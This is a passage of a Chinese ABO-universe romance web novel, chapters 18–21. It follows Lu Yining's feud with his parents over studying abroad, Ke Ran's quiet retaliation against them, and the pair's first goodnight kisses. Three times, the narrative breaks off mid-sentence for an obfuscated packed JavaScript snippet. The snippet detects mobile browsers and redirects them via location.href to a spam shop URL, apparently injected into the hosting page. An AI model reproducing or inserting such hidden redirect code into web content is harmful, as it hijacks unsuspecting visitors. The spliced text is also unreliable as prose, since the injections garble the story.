陆一宁再次将脸埋到他肩膀上,不过这次没有哭声,想必是在调整情绪。 柯染给助理发消息让他送冰袋来给陆一宁敷眼睛,助理秒回,并劝谏:老板娘刚成年,老板你悠着点。 柯染:…… 他决定这个月扣奖金。 不想让人看到陆一宁双眼通红像兔子的模样,柯染把他抱进了休息室,于是助理进来时看他的目光更诡异了。 陆一宁敷上冰袋,人也清醒了许多,简单几句话就把事情说完了。柯染从他刚才的只言片语里就猜出了事情始末,现在听陆一宁说完,只会更加心疼。 “出了事,你应该第一时间打电话叫我去接你。”柯染面无表情,但他知道陆一宁就喜欢他这样,“一个人在外面乱逛,不怕遇到危险吗?” 听着柯染命令式的口吻,陆一宁心里暗爽,但嘴上还是茶言茶语:“我不是怕耽误你工作吗?再说我这么大人,能有什么危险。” 见他有力气顶嘴,柯染知道他这是好了,把人重新抱起来,柯染叫他:“陆一宁。” “干嘛?”陆一宁把毛巾裹住的冰袋拿下去,与他对视,红通通的眼睛里藏着一丝狡黠。 柯染半是无奈半是好笑:“你就想听我说,工作没有你重要,是吧?” 陆一宁不置可否,他听到柯染在他耳边,用很郑重的语气说:“你是最重要的,比世界上任何东西都重要。” 18. 道歉 柯染和陆一宁在外面吃过晚饭才回家,一进门就看到陆婉凌和孟云晴坐在客厅的沙发上,看到他们进来,陆婉凌两人脸上有些不自在,但还是硬挤出笑容站起来,若无其事叫道:“小宁,小染,你们回来了。” 陆一宁冷漠的往前走,和他们擦肩而过。 柯染走在后面,礼貌致歉:“抱歉叔叔阿姨,小宁今天心情不好,你们不要怪罪。” 陆一宁走到楼梯口,看到柯染没有跟上来,不耐烦的叫了一声:“柯染,我数学卷子还没写完。” 柯染只能微笑赔礼:“抱歉叔叔阿姨,我先失陪。” 等两人都上楼,柯辰给陆婉凌递了根烟,叹道:“你们也别怪小宁甩脸色,你们有点太不地道了,想把人接走,当事人不告诉,我们也不告诉,咱们认识这么多年,你不能上我家把我养了快二十年的花连盆带土一起给我端走吧。” 陈叶茹补充:“况且这花还是当初你们主动送来的。” 陆婉凌不服输的狡辩:“我们是为了他好,在国内这么辛苦有什么用。” 柯辰眯起眼睛,语气不悦:“要真为了他好,当初就不会把他扔在国内不管不顾。” 陆婉凌被怼得没话说,怒撞了下孟云晴的胳膊,示意他说话。 孟云晴颓废的摇摇头,什么也没说。 下午陆一宁打完电话,陈叶茹就立刻和他们通了电话,陈叶茹与陆婉凌相交多年,说话毫不客气,陆婉凌说不过她,几乎是单方面被骂了一下午,孟云晴更是插不上一句嘴。 晚上他们来柯家吃饭,想着顺便和陆一宁缓和缓和,结果两个孩子不在家,饭桌上柯辰又把他们说了一顿,这两口子一个比一个牙尖嘴利,陆一宁简直就是随了他们。 “要我说你们该给小宁道歉,他是个独立的人,需要尊重,你们的做法换了谁都会生气。” “算了,让我们再想想。”陆婉凌很是固执。 楼上,陆一宁坐在书桌前,面前摊着张数学卷子,几次动笔都没落下一个答案,柯染在旁边批完他下午做的,一抬眼发现陆一宁不但一道题都没写,还对着草稿纸发呆。 用笔敲了敲桌面,柯染叫他:“回神,在想叔叔阿姨?” “没有。”陆一宁第一时间否认,然后抬头望他,耳根通红,似乎有什么话不好意思说。 “怎么扭扭捏捏的,有话直说。”柯染揉上他的头发,语态亲昵。 “就是,就是……”陆一宁看他一眼,又把头低下去,用很小的声音说:“你能不能把下午的话重新说一遍?” 说完他就再也不敢看柯染了,脸也热得慌。 趁他睡着扒衣服摸腹肌的事都干的出来,想听他说两句好听的却会不好意思,柯染笑着摸上他发烫的耳垂,明知故问:“下午说了好多话,你想听哪一句?” 下午他对陆一宁说完类似于表白的话后,陆一宁像鸵鸟似的在他怀里窝了半天没有反应,要不是能看到红似滴血的耳朵,他都以为陆一宁没听清。 以为陆一宁是羞涩过头,柯染想把他从怀里揪出来,却发现他直接睡着了,难为他能垫着被哭湿的衣服睡过去。 “怎么不说话,你该告诉我是哪一句,不然我怎么说出你想听的呢?”柯染轻掐他的下巴,叫人抬起脸与自己对视,然而陆一宁却垂下眼皮不去看他,睫毛忽闪忽闪,生怕柯染看不出他是故意的。 “我问了好几句你也不回我,怎么,变成小哑巴了?”柯染的拇指在他下巴摩挲,一不留神就弄出一道红痕。 “你说我想听什么,我是你带大的,我心里想什么你不清楚吗?”柯染几次三番的逗弄终于让陆一宁恼了,握住柯染的手腕,他在上面狠狠啃了一口。 “你是小狗吗?”柯染把手抽回来,看着上面的浅淡牙印,用另一只手在上面按了按。 “你快说,说完我要写卷子,不要耽误我学习。”陆一宁理直气壮,颐指气使,如果刚刚还有不好意思的成分,那现在就是完全的放开了。 拿他没办法,也不忍心把人欺负的太狠,柯染掐掐他的脸,凝视他:“你是最重要的,小宁,你在我这里是顺位第一,一直都是。” 陆一宁又脸红了,并且有不受控制的青竹味儿飘出来,勾得柯染差点没抑制住信息素。 “信息素收回去,别引诱我。”柯染看破他的意图,在他脑袋上敲了下,不怎么严厉的警告。 “行吧。”陆一宁重新拿起笔看卷子,口中充满对他的怨念:“亲爱的坐怀不乱柳下惠柯同志,我等着你被我引诱上钩的那天。” “那天太遥远了,你现在应该面对的是期中。” 陆一宁仰天长叹,随后陷入题海。 柯染左右无事,打开电脑写起了下个月要用的演讲稿。 赵子舟非常鸡贼,提前好几天就抢先和宋雨榕说了柯染参加演讲的事,要不是宋雨榕发微信问他演讲稿写怎么样了,他都不知道自己“自愿且兴高采烈”的答应了演讲。 陆一宁卷子写完,柯染的演讲稿也敲完,稍微润色一遍就发给了宋雨榕,而后把手机扔到一边,看起陆一宁的卷子。 “这个角度不对,∠AOP是30°的话,∠POB怎么能是60°呢,你带错公式了,应该是……”柯染在草稿纸上刷刷写下一行字,随后把数值带进去,得出与陆一宁截然相反的答案。 陆一宁恍然大悟,拿过笔重新算,边算边拍马屁:“我刚算的时候就觉得不对,但又不知道错在哪儿,不愧是专门学数学的,还得是你。” 柯染:“……你要实在没话就闭嘴,不用阿谀奉承。” 两人正说着话,房门被当当敲了两声,陆一宁不当回事,柯染过去开门,是端着一个托盘来送东西的孟云晴。 “你和小宁学习辛苦了,我来给你们送点水果,还有这果汁,是厨房鲜榨的,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13191158|139108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们尝尝。” “好,谢谢叔叔,麻烦您了。”柯染接过托盘,见孟云晴没有走的意思,于是挑眉问道:“孟叔叔还有事?” 孟云晴干笑两声,透过门缝小心翼翼的看了眼陆一宁,试探道:“我能进去吗?” 柯染刚要开口,陆一宁先一步道:“进来吧。” 孟云晴大喜,恐怕他反悔似的赶紧挤了进来。 柯染把托盘放到茶几上,给孟云晴倒了杯温水,“屋里没有茶叶,请孟叔叔不要嫌弃。” 孟云晴拘束的坐在沙发上,连连摆手说不会,陆一宁停笔看他,开门见山:“孟先生,您找我和柯染有什么事吗?打给你们的钱数目不对?” “小宁。”柯染装模作样的训斥一句,陆一宁毫不在意。 “别这么生疏,小宁,我毕竟是你爸爸,咱们有血缘关系。”孟云晴眉毛动了动,尽力表现出柔和,“我是来和你道歉的,我们不该不考虑你的想法,你柯叔叔和陈阿姨已经训过爸爸妈妈了,我们知道错了,小宁可以原谅我们吗?” 陆一宁轻嗤,根本不相信他的话。 “爸爸说的是真的,爸爸妈妈在外面打拼不都是为了你吗,就算你不想听我们的,总不能不认我们吧,爸爸妈妈难得休一次假,难道你还要和我们闹矛盾吗?”孟云晴言辞恳切,眼睛湿润,看上去伤心极了。 可惜陆一宁不吃他这套,“难道没有我你们就不上班了?不活了?别道德绑架我,如果你要说的只有这些,那请回吧,转告陆女士,不用让你来试我的口风了,躲在Omega身后,算什么Alpha。” 孟云晴:“……” “小宁,不是这样的,你听爸爸解释。”孟云晴站起来,想要去对面拉陆一宁的手,柯染下意识挡在他面前,委婉的下达逐客令:“叔叔,小宁性子直,说话一直这样,您不要和他计较,今天已经很晚了,要不你们等下次冷静些再谈?” 孟云晴不大乐意,但柯染身形高大,站在他面前那种Alpha的压迫感扑面而来,他站直身子,不动声色的与柯染对峙,柯染纹丝不动,表情也是一如既往的微笑。 “柯染,你让开。”最终是孟云晴先沉不住气。 柯染分毫不让:“叔叔,天色已晚,实在不是谈话的好时机。” 躲在他身后的陆一宁探出头,跟着赶人:“我要继续学习了,请你们不要浪费我的时间,如果我考不上Q大,我会平等的怨恨你们每一个人。” 孟云晴:“……” 再留下来就太没面子了,孟云晴留下一句“明天再来看你”就退了出去,陆一宁拉着柯染坐下,随口吐槽:“说得那么轻松,他们俩今晚不会住下吧。” 柯染给他看陈叶茹发来的消息:“你说对了,妈说叔叔阿姨自己要留宿的,不是她邀请的。” 陆一宁无语凝噎,不过下一秒就高兴起来——他有新的理由和柯染睡了诶! 19. 犟驴 陆一宁睁眼时刚八点,昨晚他软磨硬泡撒泼打滚留在了柯染房间,柯染怕陆婉凌两人又去找他麻烦,半推半就便抱着人睡了一晚。 许是青竹味儿太过浓郁,又或者怀里的Omega太软,柯染六点多就因为过于强烈的反应迷迷糊糊睁开了眼,他懊恼一声去了卫生间,随后就再没敢躺下,一直在书房处理工作。 因此陆一宁醒来并没看到他,幻想的美男出浴图也没有,空荡荡的房间里只有他自己,打哈欠都有回声。 给柯染发消息没回,他只能趿拉着拖鞋去洗漱,边洗漱边想怎么应对陆婉凌和孟云晴。 他们的矛盾肯定解决不了,但最后一定是面上和好,柯辰和陈叶茹夹在中间,他不能让这两个把他养大的人左右为难。 所以如果今天陆婉凌像孟云晴昨晚那样,声泪俱下的说几句好话,他会借坡下驴,顺势而下,维护几天表面关系,反正昨天该出的气都出差不多了,从柯染那里也讨到了好处——柯染答应他未来半个月他都可以睡在这个房间,并且期中考进学年前十五,另有奖励。 一想到昨晚他耍赖不走柯染无奈迁就的表情,陆一宁就想笑。原本他说家里有外人,不敢一个人睡,必须找个强大的Alpha保护自己,柯染不留他他就找别人。 柯染被他气笑,反过来问他,要是陆婉凌和孟云晴一直不走,是不是他就得一直找Alpha保护,陆一宁不但承认,还说:“我看刘哥就很厉害,我找他保护我。” 柯染拎着他的脖领子就把人扔上床,警告他:“刘哥有刘嫂,别想撬人墙角。” 陆一宁摔在床上,抱住他的手不撒开,“反正我就要找Alpha保护我,你是我的Alpha,你必须保护我,未来半个月我都要跟你睡,你不同意我就在你门口打地铺,你要是舍得我着凉受寒你就把我扔出去,反正我就是颗小白菜,地里黄没人爱……” “停。”他这一大段话没说完就被柯染紧急叫停:“你下次要是再跟我演讲,就用英文说,就当锻炼口语了。” 陆一宁果断闭嘴,柯染虽没同意他的要求,但不否认就是默认,等他把行李搬进来,柯染就是想撵也撵不走。 算盘打得叮当响的陆一宁心情极好,他去柯染衣柜里毫不客气的翻了一套衣裤出来,短袖穿成七分袖,五分裤穿成八分裤,除了有点晃荡,哪儿哪儿都合适。 最重要的是,上面有淡淡的檀香,让他很喜欢。 换好衣服下楼,陈叶茹在厨房里炖汤,他跑过去在陈叶茹跟前撒娇:“妈妈今天做了什么汤,好香啊。” 陈叶茹舀出一勺吹了吹送到他嘴边,宠溺道:“是一道新学的药膳,你学习辛苦,应该多补补身体,不然该跟不上了。” 陆一宁尝了一口,眼睛亮起来,赞道:“好喝,妈妈的手艺最好了,我最爱妈妈了。” “就知道哄我。”陈叶茹笑了一下,把勺子收回来,见陆婉凌和孟云晴还没下来,拉着陆一宁的手悄声叮嘱:“待会儿你父母下楼,别和他们吵架,他们说话你左耳听右耳出就是了,维护一下表面和平,要不然传出去对你名声不好,他们那个性格,这么多年要能改早改了,你放心,你不想离开谁都不能强迫你,我和你柯爸爸给你做主,他们要是说得难听,你就拽着柯染出去玩一天,眼不见心不烦,一切由我和你柯爸爸应付。” 陆一宁心里那股酸酸软软的感觉又涌上来,他拥抱住陈叶茹,有些哽咽:“谢谢爸爸妈妈,我就知道你们永远不会抛下我。” “你这孩子说什么胡话。”陈叶茹拍着他的后背,像小时候哄他那样,“再见外妈妈生气了。” 陆一宁擦擦眼泪从她怀中撤出,陈叶茹为了哄他,给他喂了一只蟹饺,看到人眉开眼笑才说:“好了,你去书房叫柯染下来吃饭吧,一大早就忙工作,好像地球没了他就不转似的。” 陆一宁觉着好笑,附和她:“一会儿我就说说他,他要是不听我就不给他喝汤。” “好,他不听话我和你爸爸收拾他。” 陆一宁刚要推书房的门,门就从里面拉开,是柯辰,见到陆一宁,他像是找到了告状的人,气势汹汹道:“小宁来了,正好你进去教训一下那个兔崽子,跟他谈工作真是一点谈不来,整天就会气人,你替爸爸好好训训他,给我出口气!” 陆一宁:“……” 他还没来得及答应柯辰就迈着愤怒的步伐离开了,他硬着头皮进入书房,柯辰刚点上一支烟,见他进来又立刻掐灭了。 陆一宁过去,看到烟灰缸里一堆烟头,不过不是柯染平常抽的牌子,是柯辰爱抽的,看来真是被气得不轻。 “你怎么气着爸爸了?” “怎么不穿自己的衣服?” 两人同时开口,对视两秒,又同时笑出声,柯染先说:“有一个企划案,他想听听我的想法,结果我和他的想法没有一点重合,他想说服我没成功,就恼羞成怒了。” 陆一宁:“你让着点爸爸嘛,我就喜欢你的衣服,穿着舒服,妈妈让我叫你下去吃饭。” “行,走吧。”柯染起身,搂着他的肩膀出门,走到一半碰见从房间出来的陆婉凌,柯染率先打招呼:“阿姨早上好。” 陆一宁冷漠点头:“陆女士早上好。” 陆婉凌脸色难看,看到两人姿态亲密,想发作又怕把情况搞得更糟,只能忍下。 陈叶茹、柯辰和孟云晴三人已在餐桌前就位,看到他们,柯辰招呼:“都过来吃饭吧,今早阿姨特地做了西式早餐。” 陈叶茹给陆一宁和柯染一人盛碗汤:“天天用脑,多补补,小宁,你起早贪黑学习,最应该补充营养。” 陆婉凌仍旧十分不愉,盯着陆一宁的那碗汤,冷言冷语:“要是跟我们出国就不用起早贪黑了。” 柯辰:“咋的,国外没有太阳和月亮?” 陆婉凌:“…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13191159|139108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 陆一宁低头闷笑,肩膀抖得像帕金森,柯染也想笑,但他能忍。 一顿饭吃得不尴不尬,陆一宁和柯染上楼后,陈叶茹揪住陆婉凌说她:“你就不能跟孩子说点好话,非得把他逼的把你当仇人你才舒服?你要不会说话就买两本高情商说话学学,别整天给孩子脸色看,还有,他不想出国你就别逼他,真把他逼到叛逆,有你哭的。” 陆婉凌抿唇,神情倨傲:“我是为他好,我能害他吗,他就应该听我的。” 陈叶茹:“当初伯父伯母让你联姻也是为你好,你怎么不听?你离婚干嘛?” 陆婉凌:“这不一样。” 陈叶茹:“有什么不一样,你们都是独立的人,有自己的意志和想法,就许你反抗压迫,不许别人反抗?” 陆婉凌没话说,坐在沙发上生闷气,孟云晴想劝不知从何劝起,柯辰则搂着陈叶茹的腰看热闹。 没一会儿,陆一宁和柯染从楼上下来,柯染手里拎着笔记本电脑和陆一宁的书包,还有一件薄外套,陆一宁还是早上那身,两手空空走在前面。 “你们要去哪儿?”陆婉凌瞪眼看他。 陆一宁越过她,和陈叶茹说话:“妈妈,我和柯染去赵子时家里写作业,晚上再回来。” 陈叶茹满脸笑意:“好啊,不过别光顾学习,也可以适当打打游戏嘛,改天叫小舟和小时来家里吃饭,我亲自下厨。” 柯辰也笑眯眯:“需要我送你们吗?” 孟云晴和他抢活儿:“要不我送吧,可以见见小宁的好朋友。” 陆一宁一一拒绝:“不用的,柯染开车就好。” 两人走后,陈叶茹转头问陆婉凌:“看到了吗,这才是对待孩子应有的态度。” 陆婉凌抱着胳膊,神色冷厉:“就因为这样,小宁才被你和柯辰惯坏了,还有柯染,小宁依赖他成什么样子,真是没眼看!” 陈叶茹也横眉冷竖:“你和老孟从小对孩子不管不顾,现在没资格说他,他已经成年,不是你可以随便争夺抚养权的小孩子,就算到了法庭,你都是没理的。” 陆婉凌又不说话了,孟云晴劝她:“现在应该想办法修复和小宁的关系,你再犟下去没有意义。” 陆婉凌:“他怎么不主动找我们修复,我们做父母的还要向他低头吗?” 孟云晴一听她这冥顽不灵的话就知道跟这人话不投机半句多,他不再理她,而是给柯辰递烟,与他抱怨:“你们Alpha都是犟驴!” 柯辰接烟的手顿住,纠正他:“是某些Alpha,别以偏概全以点概面,我们Alpha也有好人好吗。” 孟云晴有心缓和关系,因此主动问起陆一宁小时候的事儿,陆婉凌还在自顾自生气,看到旁边三人相谈甚欢,怒气更甚,一个冲动之下居然开车走了。 晚上,陆一宁和柯染回家发现家里少一头犟驴,顿觉空气都清新了许多。 20. 渣A 经过努力,孟云晴和陆一宁的关系修复大半,但两人都知道,这只是表面和平,不过表面和平也比关系僵化得强。 距离上次陆婉凌开车离开到现在已经过了一周,她仍旧固执己见,试图劝陆一宁出国,甚至趁他上课的时候去学校找他班主任,想强行给他转学。 幸好岳自乐因为没见过她所以给柯染打了电话,柯染又联系柯辰和陈叶茹,三个人一起去学校拉回了陆婉凌。 经此一事,陆一宁和她的关系更加僵硬,连带也不给孟云晴好脸色看。 受到牵连的孟云晴苦笑不已,他都不知道陆一宁随了谁,居然一眼就能看出他和陆婉凌是在演戏,一个实施铁腕政策,一个走怀柔路线,双管齐下总能有效果。 两人的做法让陆一宁烦不胜烦,从黑名单给他们放出来没几天就又拉黑了。 ———— 陆一宁从浴室出来时柯染正在和人发消息,见他披着浴袍不好好穿衣服,皱了下眉,陆一宁笑嘻嘻往他跟前凑,故意把领子扯开,露出白花花的胸膛。 这下柯染眉头皱得更深了,陆一宁也笑得更欢。 给人吹完头发,柯染给他拿了件睡衣,嘱咐他先睡,然后自己拿着手机去了书房。 陆一宁总觉得这几天柯染很忙,深夜都不得休息,两人同宿一床,他半夜醒来总是摸另一边床铺总是冰凉的,要不是早上在同一张床起来,他都要怀疑柯染是不是偷偷去睡客房。 而且柯染还总是和人打电话,除了晚上陪他写作业的那几个小时是安静的,其余时间就连接送他的路上也会和人通话,如果不是能听出在聊工作,陆一宁真的会忍不住怀疑柯染是不是外面有人了。 在床上滚了两圈没睡着,陆一宁决定去书房看看柯染到底在忙什么,蹑手蹑脚推开门,柯染正在用外文和人开视频会议,见他进来,柯染立刻和对面叫了暂停。 “明天考试,你不睡觉起来干嘛?” “睡不着啊,你天天让我独守空房,你舍得吗?” “……”柯染疲惫的揉揉眉心,和他解释:“我就忙这几天,最多到你考完试我就不忙了。” 陆一宁有点高兴,但也不是很乐意:“你说真的?” “不骗你。”柯染推着他回房间,把他按在床上不许起来,“乖乖睡觉,明早送你考试,考到前十五可以满足你一个愿望。” 陆一宁觉得自己特别像头顶钓着根胡萝卜的兔子,看得着吃不着,柯染用这根胡萝卜不知道哄着他背了多少单词,做了多少卷子。 闭眼睡着前,陆一宁脑子里回想的都是今晚背过的英文单词,做的梦都是三角函数成精追着他跑。 翌日一早,柯染送他上学,路上陆一宁说起这个荒诞的梦,柯染说:“我也梦见过程序代码追着我跑,刚做第一个游戏那阵儿压力大,数学实验又多,我焦虑得经常失眠,现在就好多了,除了偶尔因为你的成绩焦虑,其他都不是事。” 陆一宁:“……最后一句话可以不说。” 柯染趁红灯拍拍他的头,“开玩笑嘛,我对你一直很有信心,从来不焦虑。” 陆一宁傲娇的撇撇嘴:“这还差不多。” 到学校门口时正好碰上赵子时下车,两人一起往校园内走,赵子时踢着路上的石子,抱怨道:“我哥让我考到学年前五,这不要我命吗,上次我和学年第九咬分就很紧,第五,我直接死考场上得了。” 陆一宁不知道该如何安慰他,学年三十安慰学年第十,有点神经病。 两人不是一个考场,在教学楼分开,进了各自的教室,第一场语文考完,陆一宁很庆幸自己每天都被柯染按着做阅读理解,不然还真想不通为什么作者看到卫生纸会哭着喊爸爸。 考试这两天陆一宁都没怎么看手机,考完试被柯染带出去吃火锅才看到陆婉凌和孟云晴两天前在群里发的消息,说公司出了点急事得回去处理,短时间内不会再回国内,并且让他接着考虑出国的事。 “果然,这世界上没什么比他们的工作重要,就是天塌了,他们也得先处理工作。”陆一宁举起手机给柯染看了眼,语气复杂,倒也不伤感。 柯染给他夹菜,随口问:“开心吗?” “什么?”陆一宁怔了一下反应过来,“你干的?” 柯染筷子不停,唇边有淡淡的笑意:“你以为我这几天为什么那么忙。” 他和陆婉凌与孟云晴的业务没有重叠,想给对方制造点麻烦少不了搭上些人脉,幸好他的游戏覆盖面广,ABO老中青全都有,之前为了卖一个老总面子,给了对方女儿一个内测账号,这次也是对方帮的忙。 听他讲述完前因后果,陆一宁瞪大了眼睛:“是不是那个女Beta,就是姓顾,她妈妈是干新能源的那个?” 柯染有些诧异:“你居然记得。” 陆一宁肉都不吃了,抱起胳膊噘着嘴,冷哼:“我怎么不记得,那个顾姐还对你表过白呢,人家还说,会等你,等到你喜欢她那天为止。” 柯染头疼得捂住脑袋,他就知道陆一宁会吃醋。 “那次表白你也在场,你不是听见我拒绝了吗,而且她现在有恋人了,是个很漂亮的女性Omega,两人都订婚了,我还送过订婚贺礼。” 柯染解释完,陆一宁的态度稍松,但还是不想轻易放过他,想了两秒才想到可以找的茬:“那也是你不对,你背着我联系别的Omega,就是你的错。” 柯染无语,不过很耐心:“我没联系她,我联系的是她妈妈,陆阿姨不就是干新能源的吗,我让她妈妈帮我一点小忙,她妈妈也认识房地产方面的人,顺便给孟叔叔也制造了点麻烦。” 这下陆一宁想找茬也找不到了,他不太甘心,好不容易有个拿捏柯染的由头,竟然就这样浪费了,实在可惜。 柯染一眼就看出他在想什么,好笑的同时又觉得他可爱,陆一宁那双杏眼在滴溜溜转起来时就像小狗,惹人怜爱。 直到吃完饭陆一宁都在惋惜,没办法,柯染 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13191160|139108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只好提示他:“男模,脱衣舞。” 见柯染还记得这桩旧账,陆一宁瞬间露出乖巧的微笑,标准八颗牙齿,差点闪瞎柯染的眼睛。 成绩出来的很快,两天后,学年大榜贴了出来,陆一宁被派去看成绩,我学委稳定发挥,万年第一,班长第二,赵子时这次像开挂一样,一跃排到第三,陆一宁自己则进步鲜明,考到了第十三名,他已经在期待和柯染谈条件了。 卷子发下来,班主任先是表扬一些进步大的同学,随后宣布了要开家长会的消息,班里顿时听到一片哀嚎,成绩好的同学都没那么高兴了。 陆一宁仔细回想最近有没有干什么坏事,得出没有的结论后才稍微松口气,每次家长会都是柯染来,老师大大小小没少告状,虽说很喜欢柯染严肃管教他,可柯染的管教和他想要的管教总是不一样,他还蛮失落的。 晚上放学说了开家长会的事,柯染点点头习以为常的表情,陆一宁见状也不多说,他更在意的是柯染的奖励。 之前说可以满足他一个愿望,他的愿望有点多,也不知道柯染能实现哪一个,不过可以都试试。 “我想要你标记我,临时标记也行。” 柯染开着车,神色不变的与他讨价还价:“除了标记你,让你一直睡我屋,让我睡你屋,其他的都可以。” 陆一宁:“……” “这也不行那也不行,你这不是渣A吗?鱼上钩了不给鱼饵,也太可恶了!你把我当什么,学习的机器吗?”陆一宁愤愤不平,要不是柯染在开车,他一定上去狠狠咬他一口。 柯染瞥他一眼,重复那句说过很多次的话:“等你高考完你想做什么做什么,但高考之前,一律不许。” 陆一宁瘫在座椅上,揪着安全带出气,表情十分颓废:“你可真是我爹,比爸爸管的都多。” 柯染眼里闪过笑意,实话说,他还挺喜欢看陆一宁生闷气的小表情,不过不能真把人惹急了就是了。 回到家,陆一宁第一时间去找柯辰和陈叶茹,向他们告状柯染欺负他,陈叶茹问清前因后果,情感上想帮他,但理智上又赞同柯染,因此十分纠结。 柯辰更不用说,向来唯老婆之命是从。 见没人能帮上自己,陆一宁装模作样的抹了两滴眼泪,一副伤心欲绝的神情:“哎,这个家已经被柯染统治了,他就是个暴|君,在他的高压之下,哪里还有我们的立足之地。” 慢悠悠进门的柯染正好听到这句话,他把手往陆一宁肩膀一压,发出恶魔低语:“暴|君罚你晚上多做一张试卷。” 陆一宁立刻惊了:“我又没犯错,你凭什么罚我??” 柯染摊摊手,一脸无辜:“暴|君做事需要理由吗?” 陆一宁:“……” 看着柯染笑意浓厚的唇角,陆一宁忽然知道自己想实现什么愿望了。 他深吸口气,微微退后几步,仰头望向柯染:“除了标记我,一起睡,我许什么愿望,你都会给我实现对吧?” 21. 紧张 “对,任何愿望。”柯染抚上陆一宁的脸颊,眼中笑意不减,“想好了?” “嗯。”陆一宁朝左右看了看,柯辰和陈叶茹已经离开,客厅只有他和柯染两个人,他鼓起勇气,提出要求:“我想要每天都有早安吻和晚安吻。” 柯染捏他脸的手顿住,他倒是没想到陆一宁会提出这个,不过想想也在情理之中,话是他自己说的,总不能失信于人真成渣A。 因此短暂的思考过后,柯染就同意了他的愿望,陆一宁没料到他会同意的如此迅速,心里暗暗懊恼没有指定亲哪里。 不过有的亲就行,他也不是很挑剔。 看到陆一宁如此开心,柯染也不禁被感染,嘴角的笑容就没下去过,上楼遇到张叔,张叔看他那么高兴还以为陆一宁考了学年第一。 因为有了柯染的承诺,陆一宁异常期待夜晚的来临,做卷子的速度都加快许多,仿佛多做几张卷子月亮就能早点出来似的。 终于,最后一张卷子的最后一道题做完,陆一宁站起身,像个骄傲的小皇帝,得意洋洋:“我现在要去洗漱了,你好好准备吧。” 柯染轻笑,配合道:“好,第一次侍寝我一定让陛下满意。” 陆一宁小声嘟囔:“你要真侍寝还好呢。” 从浴室出来已经是半个小时后,陆一宁把自己里里外外都洗得很干净,为了有氛围特意喷上一点香水,他在心里腹诽好像自己才是侍寝的人。 他去洗漱的时候柯染也没闲着,虽然觉得一个晚安吻不至于兴师动众,但柯染还是仔细打理了一遍自己,甚至嚼了块口香糖,青竹味儿。 “什、什么时候开始?”陆一宁坐在床边,头发向下滴着水,他也低着头。 “不急,别紧张。”柯染拿过吹风机给他吹头发,开玩笑道:“又不是真的侍寝,别怕。” 吹风机的嗡嗡声很好的掩藏了陆一宁不正常的心跳声,他捂住胸口,怀疑再这样下去自己会因为激动过度晕厥过去。 如果他晕倒了,柯染会给他做人工呼吸吗? 陆一宁的思维发散到天边,不知不觉间吹风机已经停了,柯染拢一拢他的头发,让他回神。 陆一宁与他对视,目光从眼睛扫到柯染淡色的嘴唇,不自觉咽了口唾沫,柯染那么温柔,亲他的时候也会温柔吗? 这个问题很快得到答案。 柯染捧起陆一宁的脸,在对方的注视中缓缓靠近,陆一宁的眼睛不停眨来眨去,睫毛一闪一闪,看着他的眼神像依赖主人的小狗,真诚而纯洁。 “闭眼。”柯染有些受不住这样的陆一宁,只能无奈要求。 陆一宁很听话,尽管闭上眼后睫毛依旧颤抖,但至少让柯染不再心思杂乱。 放慢呼吸,柯染调整心态,迅速在陆一宁唇上印了一下,速度快到陆一宁还没感觉到什么,他就退开了。 柯染故作镇定,松开陆一宁的脸,扬起笑容和尽力往常一样:“晚安。” 看他转身要走,陆一宁眼疾手快拉住他的手腕,在柯染不解的目光中,他踮起脚回亲了一口,并为自己找借口:“礼尚往来,晚安。” 说完他就跑回床上用被子蒙住了头,沉闷的声音从里面传出:“帮我关灯。” 柯染愣在原地,刚刚视线里只有一抹红色一闪而过,他都没反应过来就被亲了,抬手摸上嘴唇,那里似乎还残留着另一个人的温度。 迟迟听不到关灯声,陆一宁把被子掀开一条缝,但没敢睁眼,只敢嘴硬:“你怎么还不走,是要留下来和我一起睡吗?” 柯染醒过神,条件反射的道歉:“抱歉,我现在就走。” 说完就关灯离开了房间,关门声响起,陆一宁把被子彻底从头上拿下来,他摸摸滚烫的脸,又摸摸振聋发聩的胸腔,深觉自己没出息。 两张嘴对对碰而已,慌什么,要是现在就慌,以后怎么办,一个浅尝辄止的晚安吻就受不了,更亲密的事岂不是真的会晕倒。 陆一宁不停的给自己做心里建设,过了很久才沉沉睡去。 殊不知,从他房间离开的柯染同样很久才缓过神。 随意的瘫在床上,柯染脑中不断交替闪现陆一宁闭眼等待亲吻和主动跑过来亲他的样子,平时抱都抱过,一张床上也躺过,自己居然会因为两个没什么滋味的晚安吻而心神不宁,柯染从来不知道自己是个这么纯情的人。 这只是个开始,明天还有早安吻,以后每天都会有亲吻,柯染摸着发烫的腺体,心下叹息,以后这日子可怎么过啊。 